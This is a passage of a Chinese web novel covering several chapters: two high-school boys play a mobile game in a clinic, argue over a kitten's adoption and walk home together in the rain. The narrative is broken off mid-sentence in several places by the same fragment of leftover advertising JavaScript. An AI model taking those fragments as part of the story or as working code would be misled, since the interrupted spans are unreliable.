陆明书目光闪烁:“嗯……嗯呢。” “听说这样比较容易被野王带飞。” 林藏初:“……” 林藏初麻木地点击好友申请,发送。 右上角的图标很快多了个新的小红点,陆明书满怀期待地点开,看见林藏初的申请以及这人贵十的亮金色游戏ID: 菜就多练。 陆明书有一瞬间感觉自己被骂到了。 两个人段位相差太多,只能去打匹配。林藏初把陆明书拉进队里:“你打什么位置?” 陆明书:“上法辅我都行。” 游戏匹配成功,等待确认的倒计时音效响起来。 从谢遥集这个角度一低头,正好能看见林藏初的手机屏幕。 他盯着那四个和Q/Q同名的字看了几秒钟,看见林藏初进了游戏开局准备阶段,在角色栏里挑挑拣拣,最后选了个暖色调的,头上带兔耳朵的女性角色。 陆明书:“林哥,你玩公孙离啊?” “那我拿大乔了。” 林藏初嗯了一声,点了角色确认。 负责包扎的大夫已经忙完出去了,整个小小的隔间里只剩了他们三个人,床上一个地上俩。 林藏初站得有点累,刚想趁着游戏加载的功夫四处转悠一会儿,好能找个椅子搬过来坐着。 谁知谢遥集也有这个想法,并且早已经付诸行动,比他手快地早了几秒钟,把隔间里唯一一把折叠椅拎了过来,舒舒服服地坐下了。 慢人一步的林藏初:“……” 好像,也不是很舒服。他看了看谢遥集无处安放的大长腿,因为椅子太矮只能憋屈地交叠在身前,彻底打消了这人是故意不让他坐的想法。 路明书显然注意到了这边两个人抢一张椅子的插曲:“林神啊。” 林藏初闻声抬头:“?” “过来坐。”他拍了拍自己并不是十分宽敞的单人病床。 谢遥集:“……啧。” 局内游戏正好加载完毕,林藏初十分坦然地端着手机过去蹭了个位置。 留下谢遥集一个人孤独地坐在那儿,没人唠嗑不说,就连自己的手机也叫人名正言顺地抢走了。 原本还能围观几眼游戏的,现在也看不见了。 林藏初操纵着角色在下路清兵,跟对线的孙尚香周旋了不到三秒钟,忽然感觉到一道存在感很强的视线落在身上。 躲进草丛之后他下意识抬头,发现谢遥集坐在折叠椅上眼睛不眨的盯着自己。 林藏初:“……” 林藏初手上又补了个小兵,咽了咽口水:“谢遥集,你干嘛呀?” 谢遥集口吻淡淡:“没手机玩,无聊。” 林藏初……林藏初手一歪,走位失误,被孙尚香砸了个二技能。 再次在心里默念了一遍“吃人嘴软拿人手短”的四字箴言,他默了默,提出来个十分中肯的改进建议:“要不然你也过来?” 谢遥集立刻从善如流地拎着那只折叠椅过来了。 他在林藏初面前坐下之后,两个人就从原来的一前一后变成了面对面头对头,林藏初不仅没觉得松了口气,反而更紧张了,差点叫对面的打野给蹲了个措手不及。 他忍不住再次抬头,却看见谢遥集根本没看他,视线全程都落在他手里的游戏屏幕上,专注得很。 “……”林小少爷的郁气倏地散了,安安静静地低头,硬着头皮接着操作。 他没看见的是,就在他低头的一瞬间,谢遥集撑着膝盖的动作未变,眼皮却轻轻往上一扫,落在这人耳垂处红色的小痣上。 不仔细看几乎发现不了。 几秒钟后目光重回屏幕,他看见林藏初操纵的角色推伞向后一闪,躲开对面的大招,而后归位平A,丝血收掉了敌方剩下的最后两个残血。 陆明书的角色还在泉水复活赶来的路上:“我草!林哥牛逼!神!” 林藏初放伞点完一座敌方防御塔,站在原地转了个圈:“懒得回城再走回来了,来放个圈把我接回去呗。” 陆明书:“我来了我来了!!林神你等着!” 谢遥集从林藏初的屏幕里看见一个手里提灯的漂亮角色双脚离地地飘着过来,手一挥,兔耳朵的脚底下凭空出来个蓝色的光圈。 林藏初推出一把伞,整个人消失在原地,几秒钟后又在伞旋转的地方再次出现,血条变满。 谢遥集:“??” 不玩游戏的谢遥集缓缓开口,发出了他今天的第一道疑问:“这是角色的专有技能吗?” 陆明书:“哈哈!这正是我们热血沸腾的组合技!” 两个人趁着对面还死在泉水里没复活,等了波身后兵线,推了敌方高地的最后一座中路塔。敌方射手刚复活就被林藏初单杀,兔耳朵抱着伞又往前走了几步,三下五除二地把水晶点掉了。 Victory的字样跳出来,横贯在手机屏幕上,林藏初抻了个懒腰,听见自己旁边的陆明书狗腿似的跟谢遥集搭话:“这个组合贼好玩儿,谢神,你要不要来一把?” 林小少爷抻到一半,下意识想帮谢遥集拒绝:“没事,他不——” 谢遥集:“好啊。” 林藏初:“?” 林藏初一副见了鬼的表情:“你不是不会玩吗?” 谢遥集:“嗯,是不会。手机也没有游戏,还是被某个人抢过去现……” “… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' …停!”林藏初险之又险地截住了谢遥集接下来的阴阳怪气,立刻见风使舵地改口道,“不会也没关系啊!” “我可以教!!” 谢遥集诧异地挑了下眉:“真的?” 已经忘记谢遥集和他两颗星星的林藏初对天举起三根手指:“保真!我发誓!” …… 半小时后。 “我发誓”的林藏初眼睁睁看着大乔在团战时义无反顾地冲进敌群:“哎!你别——” 局内播报无波无澜:“An ally has been slain.” 林藏初深吸一口气,转头对上谢遥集无辜的目光:“你怎么就窜进去了?” 谢遥集:“手滑。” “想回来的时候已经来不及了。” 林藏初:“……” 林藏初艰难地维持着自己在学神面前最后一点平静的体面:“行,那你下波记得往后面站站,软辅比较脆皮,站前排容易死。” 谢遥集答应得十分痛快:“好的。” 两分钟后自家野区爆发第二波团战,林藏初单带完下路兵线立刻切入战场,他推伞进去的时候,正好看见大乔往敌人脚底放了个蓝色的圈。 中路法师对着那个堪比陷阱的回城救命圈犹豫了两秒,被对面的打野给切死了。 林藏初:“……” 林藏初有些崩溃了:“为什么把技能放那边啊!” 谢遥集:“我刚想问你,这个技能为什么没有伤害?” 陆明书靠在床头,因为受伤包扎的腿而动弹不得看不见局内的激烈战况:“怎么了!发生什么事了?什么技能?” 林藏初想起学神的面子和里子:“……咳,没事。” 他深吸口气,语气防缓:“这个是用来辅助队友的,上一把你见过。瞬间回城,满血。” 这一把队伍经济不占优势,现在局面少打多,一味鲁莽还有可能团灭。 再加上谢遥集新手上路的糟糕操作……原谅是能原谅。但是难赢。 林藏初在心里沉默地叹了口气。 他闪身进了草丛,手上操作没停,说话的同时给队伍频道去了条语音转文字。 “打一波就撤,别贪。” 谢遥集依言跟在他身后后撤,但苦于没有位移,被对面的半血打野拿技能留了一下。 手上的角色被控制得动弹不得,谢遥集看了一眼自己前方两个身位外的兔耳朵,心道,能跑掉。 做好了牺牲觉悟的人干脆停在原地放弃挣扎,打算再把那四个技能介绍点开研究一下—— 忽然一把旋转着的伞出现在了身侧。 已经闪进草丛的兔耳朵去而复返,谢遥集几乎没看清他是怎么操作的,收伞走位的声音无限放大。 对面的法师和野辅显然是愣了一瞬,马上试图转火,谁知三不敌一,被兔耳朵利落地躲开技能,以血换血地收了两个人头。 辅助见状况不好,试图闪现逃走,被杀上头的林藏初隔墙推伞追上,平A带走。 丝血的大乔抱着武器静静地站在原地,被公孙离绕着模型转了几圈。 林藏初:“……喂,傻啦?” “……”谢遥集在屏幕里的遍地尸体中间微微动了下自己操纵的人物,“没有。” 17. Chapter 17 这一波团战称得上是各有盈亏,但也算为两队的经济差追回了些优势。 自家上路的塔被对方推到高地,对面下路的塔也被连拔两座。 甄姬还没复活,公孙离清完中路的兵线立刻转到了野区拿红。大乔在她身侧举着武器亦步亦趋地跟着,谢遥集本人也像个安静的花瓶摆件一样,规规矩矩地坐在林藏初对面。 林藏初没忍住抬头看了看。 谢遥集打游戏时候的样子特别认真,但手指握着屏幕的姿势却很生疏,很明显是之前从未接触过类似的游戏。 他又往自己的屏幕上看了看,刚才抬头看人以至于有几秒钟忘了平A,丝血的红BUFF已经被毫不知情的大乔一个一技能给收走了。 红色的特效圈在大乔脚底下莹莹地亮着,别说,还挺好看。 林藏初:“……” 林藏初又叹了口气。心想,算了。 公孙离带着身负红buff的大乔赶去上路,中途遇见了刚打完蓝回来的打野,打野看到辅助身上冒着的红光,公屏打字:你好爱。 林藏初……林藏初装作眼瞎没看见,兔子抱着伞,和跟在一边的大乔继续往上路走。 两个人之间加移速的淡蓝色丝线特效被动时长时短,好似连体婴儿般齐驱并进。 上路的塔二者各残一半,敌方的上单不知所踪。 公孙离带完兵线,刚点了下二塔,对面野区忽然窜出来敌方刚清完小野的李元芳。 身后还跟着只已经复活的辅助。 谢遥集操纵着的大乔停在原地,本人终于屈尊开口了:“要打他们吗?” 林藏初没有来得及回他这句询问,因为对面的李元芳已经一套丝滑连招窜了上来,他回身往后一撤,二技能旋伞挡开对面的大招。 孙膑也跟着迅速扔了个炸弹过来,公孙离抢在孙膑放大沉默之前先手近了李元芳的身,开了狂暴以血换血,李元芳想钻草暂避,却被大乔的二技能短控了几秒,公孙离立刻抓住机会将人抢先A死。 孙膑残血开着二技能跑了,只剩个血皮的林藏初松了口气,但总觉得有什么有什么不对。 他的视线缓缓挪到了一旁站着的大乔身上。 蓝色的。熟悉的倒计时。 林藏初:“那个,哥,你离我远——” Boom! 屏幕视角骤然一灰,里面的角色抱着伞无力地垂倒在地。 罪魁祸首在旁边手足无措地转了几圈。 谢遥集问:“你怎么死了?” “……” 林藏初有点难受了,但又不想爆粗口伤害一个新手菜鸟,憋了半天,只憋出来一句:“你猜?” 谢遥集竟然真的很认真地低头想了想。 不愧是学神的脑子,回忆了一遍刚才的起因经过结果,只用了十几秒种就猜出来了正确答案: “刚才那个带翅膀跑走的人往我身上扔了个倒计时,倒计时结束之后伤害结算,让我掉血的同时也把你炸死了?” 林藏初举起大拇指,语气里是真心实意的夸赞:“满分。” 这局游戏最后以双方在敌方高地爆发最后一波团战,对面上单马超神不知鬼不觉地单带兵线偷家而结束。 谢遥集看着手机屏幕上的蓝色水晶炸开,Defeat的提示音崩出来,显然是没能料到这个结果:“……就这么输了?” 被对面野法辅连体追着切的林·射手·藏初心累地捏了下太阳穴:“嗯,刚才咱们家都在沉迷团战,没人回去守家。” “被对面给偷了。” 游戏结束,整局的结算界面跳出来,他看见林藏初的ID后面紧跟着一个紫色的框,写着“SVP”。 评分13.2。战绩13/3/7。 他又看了看自己的评分。5.7。 “这个数字有什么含义?”谢遥集举着战绩界面把手机递过来,很虚心求教地问。 林藏初刚才没仔细看就退出去了,此时被人怼脸,他盯着那个“0/12/9”沉默了两秒钟,抬头看见谢学神一副洗耳恭听的模样。 “嗯……这个分数吧。”他斟酌着措辞,最后还是选择了善意谎言,“就是你本局的幸运指数。数字越大,证明这一局你的伤害就越高。” 谢遥集也不知道是信了还是没信,嗯了声,退出战绩结算回了组队界面。 “还玩吗?” 林藏初心道,再玩就玩出心脏病来了。 他刚想找个不那么明显的理由委婉拒绝,隔间的玻璃门外就出来一阵巨大的吵闹喧哗。 “叔!下午好啊!” “这个里面有空位是吧?哎,好嘞,那我们进去。” “谢谢叔~叔您先忙着哈。” 七嘴八舌的声音。有男有女。 林藏初坐在病床上,举着手机有些茫然转头往门口看过去,听见推拉门吱嘎一声被外面的人大力拽开,发出刺耳的声响。 一群人前呼后拥地低头钻进来,与里面的三个人大眼瞪小眼地对视了几秒钟。 推门而入的男生:“……” 男生把脑袋缩回了门外,转头朝着大堂里的大夫喊:“叔!这里面怎么还有别的人啊?” 屋里头的“别的人”:“……” 大夫估计是正忙着,远远地扔过来两道中气十足的喊声:“嗐,病人嘛,不在病房能在哪儿?” “一天天别那么多事儿,能有地方给你们玩不错了,挑啥!” 于是男生又把脑袋转回来。 跟在他身后的女生试探地问:“那我们还进去吗?” “进来呗。”男生一边往隔间里走,一边在嘴上道,“这不是还有一个床呢吗。够用。” 一二三四,四个人一钻进来,整个隔间立刻人满为患。 要不是林藏初把自己缩在了陆明书的床上,此时就要被挤到墙上去了。 ……譬如坐在折叠椅上的谢遥集。 其中一个男生经过的时候,不小心撞了下谢遥集的椅子,谢遥集整个人都被他往前怼出去了几厘米,差点摔到林藏初怀里。 情急之下,他伸出手撑了下面前人的腿, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 堪堪保持住自己的平衡,林藏初被他按得“嘶”了一声,下意识伸手要把谢遥集的手掌挪开。 谢遥集的另一只手把他伸过来的手死死地握住了,借了力站起来,没摔。 林藏初看了看自己这和人莫名其妙以一个标准握手姿势交握起来的双手:“……” 进屋的男生也觉得自己是撞到了什么东西,回头一看,正好看见连体婴似的两个人:“嚯。” “你们这是在传功吗?” 林藏初:“……” 林藏初觉得自己今天这个火真是非发不可:“传你妈/逼啊?没长眼睛,撞到人了不知道?” “哎——你这人怎么爆粗口呢?”男生刚在床上坐下就又站了起来,“想干架?” 林藏初:“干就干谁怕——” “好好说好好说!安子!”在旁边站着的女生立刻过来劝架,站在中间把剑拔弩张的两个人给隔开了。 “对不起啊同学,这屋子是有点儿小,刚才不小心撞到你们了,我替他道歉哈。”女生转过头来对林藏初和谢遥集两个人双手合十地拜了拜,“这人脾气有点差,你们别见怪。” “……没事。”对面态度这么好,林藏初反倒不好再说些什么,闷闷地重新坐下了。 谢遥集张了张口,后知后觉地反应过来这人方才是在为自己撑腰:“抱歉,连累你了。” 身旁忽然多了重量,林藏初看见谢遥集坐在自己旁边,又听到他说的那句话。 林藏初忍不住小声抱怨:“……你知道你刚才那一按到底有多疼吗?我感觉我大腿要骨折了。” 他这个语气,谢遥集不知为何忽然觉得有点好笑,但是此时笑出来无疑是在火上浇油。 谢遥集干咳一声忍住了:“……对不起。” “算了。”林小少爷把头转回去,“原谅你了。回去好好练练游戏技术。” 谢遥集一时不知道这个“原谅”到底是原谅自己把他按疼了,还是原谅自己把他菜到了,沉默几秒:“我会的。” 话题到此结束,林藏初也没什么能继续聊的,于是又把目光放回了刚进来的那几个人身上。 四个人已经在对面床铺上各自找好了自己的位置,坐得离林藏初最近的是方才站起来劝架的女生。 齐耳短发,右侧耳垂上穿了个骷髅式样的耳钉。 左边是那个最先进来、撞了人不说还要找他干架的男生,寸头,穿着个十分潮流的花T恤,一看就不是什么好人。 他旁边是个戴眼镜的小个子男生,剩下的最后那个身材略微有点胖,皮肤还有点黑,长得有点人高马大的,但看着面目还挺和善。 林藏初花了三秒钟把这几个人挨个观察了一遍,然后就看见那个戴眼镜的小个子把床单收拾收拾,忽然神神秘秘地从口袋里掏出来几副扑克牌。 声音不大不小,正好整个屋子的人都能听见:“刨幺儿还是红十?” 正百无聊赖地看他们准备做什么的林藏初:“……?” 不是,敢情你们不是来看病的,是来借地方耍扑克的啊? 18. Chapter 18 “刨幺儿地方太小,没意思。” 寸头的潮流衬衫嫌弃地一皱眉,嘴里挑剔道,“还是打红十吧。” 其他人对具体玩什么似乎都没太大的意见,只是催促着眼镜快点洗牌。 林藏初静了一瞬,忍不住跟陆明书偷偷地对着口型嘀咕:“这黑诊所还兼职棋牌室呢?” 陆明书把头摇得活像是拨浪鼓:“不知道,我也是头一次来。” 谢遥集没发表意见。 他倒不是头一次来这个小诊所,坐诊的大夫看猫看狗也看人,捡到小猫那天晚上就来过一次。 想起来家里那只没断奶的奶牛猫,谢遥集又没来由地有些心乱。 养是肯定养不起的……去哪儿给它找个好主人? 掌心里握着的手机因为玩了好几局游戏的缘故,还在微微地发着烫,谢遥集把屏幕翻转过来,看见自己的游戏上还登着林藏初的账号。 他盯着左上角那个“菜就多练”看了几秒,发现这人的头像是个线条画成的小猫。 谢遥集心里倏地多了个不太可能的选项,抬头问道:“林藏初,你喜欢猫吗?” 还在偷偷摸摸地注视着对面病床牌局的林藏初:“?” 林藏初纳闷回头,一头雾水地答了:“喜欢啊。” “……怎么忽然问这个?” 谢遥集深吸一口气。 “如果……我是说如果。” “有一只刚满月的小猫即将无家可归,你愿不愿意收留它?” 林藏初:“……?” - 直到谢遥集把钥匙插进他家门的锁孔,转开,撑着门回头喊林藏初进屋的时候,林藏初都没反应过来这到底是怎么一回事。 陆明书在半个小时之前被他们一起送回了家,然后谢遥集说,想邀请林藏初去他家坐坐。 美名其曰看看小猫。 两个人的家并不算远,林藏初云里雾里地鬼使神差答应了,跟着谢遥集左走右走了十几分钟,最后跟着他进了个老旧的小区。 楼道里堆满了邻居的杂物,他小心翼翼地绕过去,发现谢遥集已经非常熟稔的一步三跨地往楼上走,林藏初连忙跟上。 一层两层三层……六层。 比高三(1)班的教室还多一层。 “身娇体弱”的林小少爷爬到目的地的时候,整个人已经开始喘了:“丫的……你家住六楼阁楼啊?” 谢遥集吱呀一声把门向外拉开,年久失修的门微微有些下沉,交合处发出刺耳的声响。 “嗯。”谢遥集看他一眼,“租金便宜。” 林小少爷难得地被噎了下,总感觉自己再说下去有种“何不食肉糜”的嫌疑。 他十分有眼力见儿地闭了嘴,跟在人身后进去了。 可能是因为短租的缘故,谢遥集的家里几乎没有家具,林藏初乍一钻进屋子,就只看到了阳台旁边摆满习题册的书桌,以及窗户边挂着的晾衣绳。 上面夹着几件洗好晾干的白色T恤,款式模样跟粘贴复制似的。 ……至少林藏初没见过有人会买很多件一模一样的、不带任何图案的白色T恤衫。 他忍了又忍,最终还是没忍住开口问了:“你这去哪儿进的货?” 谢遥集已经进了隔壁的房间,闻言又探头回来,正好看见这人的视线盯着自家阳台不放:“你问衣服?” “拼夕夕九块九两件包邮,多买多划算。” 林藏初:“……” 不是,你一天天到底过的什么鬼日子? 他感觉谢遥集自从被自己撞破在网吧兼职,身上剩得最后那点儿学神端着的皮都没了,现在颇有一种破罐子破摔的泰然处之和随遇而安。 林藏初从对面的话里明晃晃听出来几个字:没办法,就这么穷,能怎样? 神仙跌落神坛从不是一朝一夕,林小少爷甚至开始回忆起自己当初对谢遥集的恶劣态度,内疚没着没落地从心里某个角落钻出来。 他思维止不住地发散,心想:我是不是把一个努力生活的打工人当成了假想敌? 林藏初向来爱恨分明,哪里为人这么愧疚犹豫过。他皱着眉,下意识伸出手摸了摸自己的额头。 ……这也没发烧啊。 一声细微的猫叫忽然打断了他的胡思乱想。林藏初转过身,看到谢遥集抱着只黑白相间的幼猫从房间里走出来。 林藏初霎时被吸引了注意力:“这是你养的猫?” “嗯。”谢遥集说,“从路边捡的。” “捡到的时候已经快没气儿了。”他抱着猫走近,把小猫举到林藏初面前,好让对方看得能更清楚一点,“养了几天总算是活下来了,但是你也知道。” 谢遥集顿了下,语气略显歉疚。 “你也知道……我现在这个经济状况,根本没办法长期养它。” 小猫似乎是听懂了什么,抬起脸冲着谢遥集尖声细气地“喵”了一声。 林藏初猜它可能骂得有点难听。 “喊你来家里,也不是为了想道德绑架。” 谢遥集微微叹了口气,继续道:“只是希望你能考虑一下。” “就当是……帮我个忙。” 他说这话的时候语气又低又急,又带了点儿不易察觉的、很隐蔽的脆弱。 林藏初最听不得别人说“帮忙”二字,尤其是这种平时拒人千里之外,从不会轻易求人的。 他像是被火点着了似的,蹭地一下从屋里唯一一把椅子上站了起来:“你,你等一下。” “我不是说不想帮。”林藏初抿抿唇,努力让自己的语气听上去不那么冷漠,“只是实在是太突然,而且我们……” 我们的关系。似乎也没好到那个地步。 对面的人肉眼可见的瞬间失落,低着头,抱着猫转身要走:“……嗯,我知道了。” “哎——”林藏初急急地往前一步,伸手把人给拉住了,“等会儿,你知道什么了?” 谢遥集于是又停住脚步。转身。 他的语气很淡:“你的意思不是不养吗?” 林藏初:“我什么时候说我不养了?” 被谢遥集抱在掌心里的幼年奶牛猫一脸茫然,抬头看看这个,又看看那个。 “…喵——呜?” 两人一猫一时间陷入了某种奇怪的僵持里。 林藏初深吸一口气,解释道:“我可以把它领回家,但不是今天。” “要准备的东西有点儿多,我怕提前接过去它会不适应。” “能不能先暂时再在你这里养几天?” 谢遥集略有些绷紧的肩背缓缓地放松了。 “……好。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>他低着头看了看自己手里的小猫,对方察觉到他的视线,用爪子轻轻地抓了下他的手掌心。 谢遥集恍惚有种自己正在“抛妻弃子”的罪恶感。 而且还是个故装脆弱,以骗取他人真心的诈骗犯。 ……从林小少爷嘴里讲出来的承诺真得太过沉重,压得他有些胸口发闷。 “愣着干嘛?把猫递过来给我抱抱。”谢遥集听见对方说。 于是他把怀里的猫递了过去。 小猫在林小少爷怀里乖得很,刚一躺进去就哼哼唧唧地打着呼噜翻了个身。 “有名字吗?”林藏初问。 谢遥集摇摇头,换来对方的一脸震惊:“你养这么长时间都不给人家起个名字?” 谢遥集:“……” 谢遥集:“我不会起名字。” 林藏初不死心:“那你平时都怎么喊它的?” 谢遥集迟疑一瞬,很自然地朝着那团热乎乎的毛绒团子喊道:“猫。” 毛绒团子在林藏初怀里拱了拱,亲昵地喵了一声,算是回应。 林藏初:“…………” 我真服了。 “行了。”他把猫放回谢遥集的怀里,这猫似乎很亲人,恋恋不舍地勾着林藏初的衣服领子不撒手,“先还你,过几天我再来接它。” 林藏初看了看窗外的天色,阴阴的,像是要下雨。 “时候也不早了,我就先回去了。” 熟悉的毛绒绒触感又回到了自己手里,谢遥集张了张口,似乎是想要挽留。 最终他还是什么都没说,只沉默地点了点头。 “我送你。” 猫被他重新放回房间的纸箱垫子里,两个人一前一后地出了门,狭窄逼仄的楼道里回荡着规律的脚步声。 五楼,四楼,三楼。 ……二楼,一楼。 谢遥集在心里默默地数着楼层数,直到将人送到楼道口。 这里的小区年岁已久,楼宇门的锁堪比虚设,秋天适合通风,笨重的不锈钢门板敞在一侧,被人在边角处卡了块儿断了的红砖。 林藏初跨出单元门外,撑着门框回头看了谢遥集一眼。 “我走了?” 谢遥集:“嗯,学校见。” 他目送林藏初的背影拐过小区的拐角,直到再也看不见的时候才转身上楼。 家里孤零零的摆设和林藏初来之前没有两样,只是书桌上的笔稍稍地动了位置。 小猫听见门响从房间里钻出来,似乎是因为没有看见自己青睐结交的新朋友,抱怨似的喵喵几声。 谢遥集心里没来由地有点不平衡:“才见一面你就喜欢上了?” 小猫中气十足地又叫了一声。 谢遥集:“……” 吃里扒外的东西。跟你新主人过去吧。 他叹了口气,拉开椅子在窗前坐下,打算接着处理那堆还没做完的数学辅导题。 窗外乌云密得更厉害了,沉闷地轰隆隆直响。谢遥集怔了一下,随即听见了雨点敲在窗户上的声音。 几乎是一瞬间,外面暴雨倾盆而下,雨丝顺着刚敞开的窗户刮进来,洇湿了习题册上的答案。 刚要回窝的猫听见屋内响起一阵慌乱的椅子剐蹭声。 谢遥集抓起伞,没有丝毫犹豫地冲出了门。 19. Chapter 19 走得太急,谢遥集出门之后才发现自己拿的是林藏初那天在网吧留给他的伞。 雨势不减,小区的砖瓦路上很快积攒出成片的水洼,附近的遮蔽物不多,他撑着伞沿路向前,终于在一家便利店的屋檐下看见了要找的人。 林藏初低着头,好像正在和什么人打电话。 谢遥集一路紧皱的眉头终于稍松,他舒了口气,快步撑伞上前。 屋檐下淅淅沥沥的雨声被一道屏障倏地隔绝在外,庞大阴影带着熟悉的皂香气兜头笼下,林藏初下意识地一抬头。 撞入眼帘的是只握着伞柄的、骨节分明的手。 “……谢遥集?” 手机里的通话尚未挂断,他的手往身侧垂了垂,话里疑惑单纯不似作伪,“你怎么从家里出来了?来买东西?” 谢遥集把自己的站位往里侧让了让,两个人面对面变成了肩靠肩。 他低头看了看便利店支在地上“雪糕三元两支”的木牌,在掩饰和真话之间此地无银三百两地犹豫了一阵。 “嗯。” “下雨了。我想吃雪糕。” 刚被寒秋的低温冻得打了好几个喷嚏的林藏初:“?” ……这么冷的暴雨天,吃雪糕? 谢遥集没觉得自己这句话的逻辑关系有什么不对,他稍稍偏了下头,用一种很随意的口吻问:“要不要一起回学校?” 林藏初愣了一下,还没说话,手机那边就传来自家司机师傅善解人意的问怀:“小林少爷,那我现在去接您还是?” 声音不大,因为开了免提的缘故,混着伞外簌簌的雨声略微有些听不清。 但是谢遥集就是莫名其妙地听全了。 ……他倒是忘了,对方一个电话就能有司机勤勤恳恳地来接。 什么下暴雨啊下冰雹啊,就是天上掉岩浆了,都轮不到他去考虑林藏初的安危。 他攥着伞柄的手用了些力气,又倏地松懈下来。 谢遥集忽然觉得自己像个跳梁小丑。 他扯了下嘴角,刚想开口挽尊,找补似地说些什么,就听见身边金枝玉贵的少爷出声回道:“不用了,李叔。” “碰到同学了,他带伞,正好顺路回学校。” 刚想把借口落实到底,进便利店挑雪糕的谢遥集:“?” 从人头顶移开半分的伞又堪堪挪了回去。 谢遥集犹豫开口:“那个……” “我也想吃雪糕。”林藏初对他心中所想毫无察觉地抬头,好哥俩似的直接打断他,“能不能给我也带一支?” “……”谢遥集彻底没话说了,只好答应道,“可以。” “要什么样的?” 林藏初不假思索:“巧克力的。你随便挑。” “行。” 谢遥集把伞往他手中一塞,转身利落地进了便利店。 雨水从房檐边直直地打下来,掉在积了水洼的柏油路上,又溅在白色的帆布鞋上。 林藏初注视着谢遥集的身影消失在那扇小小的长条透明花门帘后面,默不作声地躲开雨丝,又往里稍了稍。 一阵凉风刮过来,手里的花条纹伞顶跟着晃了晃,林藏初又打了个喷嚏。 …… 疯了。真是疯了。 他重复般地心想,这么冷的天,到底为什么要吃雪糕? 谢遥集回来得很快。 林藏初盯着他左手举着的老冰棍和右手握着的巧克力甜筒看了看,语气不确定地问:“这是我的?” 谢遥集把右手的巧克力甜筒递给他:“嗯。不是说什么都行吗?” 林·最讨厌吃脆皮蛋筒·藏初:“……” 难道甜筒也算雪糕吗? 但是这人买都买了,也不好说不吃。 林小少爷表情复杂地从同桌的手里接过这份充满爱的巨大甜筒。 花纹雨伞的塑料伞柄重新回到了谢遥集的手里,雨势几近减弱,他拆开老冰棍的包装,咬了一口,率先踩进了雨里。 等了几秒也没见身后的人跟上,谢遥集转过头,略带疑惑地递了个眼神过去:“?” 林藏初还站在原地,手里的甜筒包装拆了一半,他看了看正撑伞等在雨里的谢遥集,又看了看地上雨水积流而成的河洼。 ……鞋是新的。还是白色的。 林藏初犹豫了几秒钟,在同桌面前争强好胜的面子战胜了对自己新鞋的喜爱,深吸一口气,闭着眼睛往前迈了一步。 凉丝丝的雨打在脸颊上,大半都被谢遥集偏来的伞挡了过去,踩在水里的鞋底传来湿而凉的陌生不适感。 林藏初握着甜筒默不作声地低头看了看,帆布鞋的布料表面洇出来深色的水痕,变得略微有些发沉。 林藏初:“……” 现在反悔还来得及吗? 小区的路坑坑洼洼,附近的住户早有远见地在路中央垫了几块碎砖瓦。 谢遥集轻车熟路地踩着砖过去,伞还偏在林藏初的头顶。 他没回头,咬着冰棍腾出来只手,半是关怀地朝踌躇着不肯迈步的人伸过去:“跳过来就行。” 林藏初犹豫了一下,装做没看见,打算自己找个合适的距离踩着砖蹦过去。 递过去的手一直空空荡荡,谢遥集回头时,恰好赶上林藏初孤注一掷的一跳。 反应时间短暂,他没能来得及给对方挪个落脚点。 “哎呦——我草!” 林藏初想收力的时候已经来不及了,他一脚踩在了谢遥集的脚上。 谢遥集本来想扶住他,但是脚下一痛,下意识缩回手倒吸一口冷气。 惯性使然,林藏初撞过来的时候力道不减,整个人的重量都扑在谢遥集的身上。两个人瞬间失衡,乱七八糟地摔在了巨大的水坑里。 “……操。” 林藏初听见被他压在身下的谢遥集低低地骂了一声。 自己的手还按在对方温热结实的胸腔上。 林藏初:“……” 林藏初感觉自己有点呼吸困难了。 他忙不迭地把自己从谢遥集身上撑起来,脸色因羞赧而倏地爆红,艰难开口道:“对不起,我……” 多亏谢遥集在下面充当了人体垫子的缘故,他这一身浅白衣服完好无损,只是被雨淋湿了些。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 反观谢遥集,身上的裁判服已经脏得看不出来跟他是同一款——通体浅白变成了半黑半白,外套衣摆还溅上了一堆飞起来的泥点子。 林小少爷道歉的话一个字一个字地往外蹦:“我不是故意的……真的。” 谢遥集从泥泞的水洼里支着胳膊坐起身,沉默一会儿,头疼道:“拉我起来。” 林藏初一噎,同样沉默地伸手,几秒钟后胳膊一沉,谢遥集握着他的手借力站起来。 被撞在地上的人从躺着变成站着,白色外套上的泥水还在一滴接着一滴地往下淌,被雨一浇,又变成了更加粘腻的混合物。 林藏初只看了一眼就心虚地不忍再继续看,别过头良心有愧般地把道歉又重复了一遍:“对不起啊谢神……” 谢遥集把方才兵荒马乱扔在一旁的雨伞捡起来:“没事,刚刚挡着路没让开,我的问题更大一点儿。” 不过是几分钟的意外,虽然雨势渐小,但两个人身上还是被淋透了大半。 谢遥集觉得这个伞撑着跟不撑也没有什么区别,但是视线又触及到林藏初手里拿着的甜筒,想了想,还是把伞给撑上了。 巧克力甜筒经此摔倒一役竟然大难不死,林小少爷举着甜筒神色复杂,再看谢遥集的那根冰棍,早已经在两个人四仰八叉摔在一起的时候留在了泥坑里。 林藏初叹了下气,举起甜筒五味杂陈地舔了一口。 ……好吧,甜的。 · 原本十分钟的路程被两个人生生走成了二十分钟,等林藏初终于看到学校门口的自动推拉门时,天色已经有了要放晴的趋势。 谢遥集已经把脏了的外套脱下来拎在手里,身上只穿了件和家里阳台晾衣绳上同款的白色T恤。 走到门卫处,他抬起手敲了敲贴着“保安室”三个字的玻璃窗。 过了一会儿,紧闭着的窗户被人从里面“唰”地一下拉上去,门卫大爷的脸出现在了四四方方的窄小窗口中:“大下雨天的,谁啊?” “叔,是我。” 谢遥集弯下腰往前凑了凑,好让大爷能看清自己的脸,“刚帮老师送同学去诊所了。还麻烦您给开个门。” 大爷把一旁吱吱呀呀放着二人转的老式收音机按掉,又捡起来桌子上的老花镜戴上了。 看清来人是谁之后,大爷原本被叨扰而不耐烦的脸色瞬间如沐春风,额头上的褶都少了几道:“噢,小谢啊。” 他一边按遥控器,一边扯着嗓子跟人拉呱:“你怎么三天两头往出跑啊,每次学生喊开门,十有八九都是你。” “最近又拿奖了吧?保安室里你的奖状都快放不下了。”他乐呵呵地夸人,“要是我孙子也能像你这么优秀就好喽。” 